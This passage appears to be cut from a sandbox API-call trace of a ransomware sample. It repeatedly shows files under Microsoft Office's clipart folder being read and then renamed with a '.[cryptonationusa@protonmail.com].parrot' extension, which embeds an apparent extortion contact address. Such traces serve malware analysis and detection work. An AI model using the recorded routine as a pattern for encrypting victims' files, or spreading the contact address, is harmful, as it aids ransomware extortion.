lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60c, lpOverlapped=0x0) returned 1 [0151.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.425] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.426] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b04, lpOverlapped=0x0) returned 1 [0151.427] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.431] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.431] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.433] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x138c, lpOverlapped=0x0) returned 1 [0151.434] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.438] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.440] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6cc4, lpOverlapped=0x0) returned 1 [0151.441] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.444] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.448] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.452] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.452] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x36aa, lpOverlapped=0x0) returned 1 [0151.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.458] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.458] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.459] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32f6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32f6, lpOverlapped=0x0) returned 1 [0151.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.464] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.465] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.466] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7a80, lpOverlapped=0x0) returned 1 [0151.467] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.522] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.522] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.524] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.524] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4754, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4754, lpOverlapped=0x0) returned 1 [0151.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.531] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.532] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.532] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2026, lpOverlapped=0x0) returned 1 [0151.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.537] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.539] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35b2, lpOverlapped=0x0) returned 1 [0151.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.546] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.548] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b2e, lpOverlapped=0x0) returned 1 [0151.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.555] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2242, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2242, lpOverlapped=0x0) returned 1 [0151.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.560] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.561] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f0e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8f0e, lpOverlapped=0x0) returned 1 [0151.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.568] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.569] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x283c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x283c, lpOverlapped=0x0) returned 1 [0151.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.576] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.577] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x514c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x514c, lpOverlapped=0x0) returned 1 [0151.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0151.581] HeapFree (in: hHeap=0x5b0000, 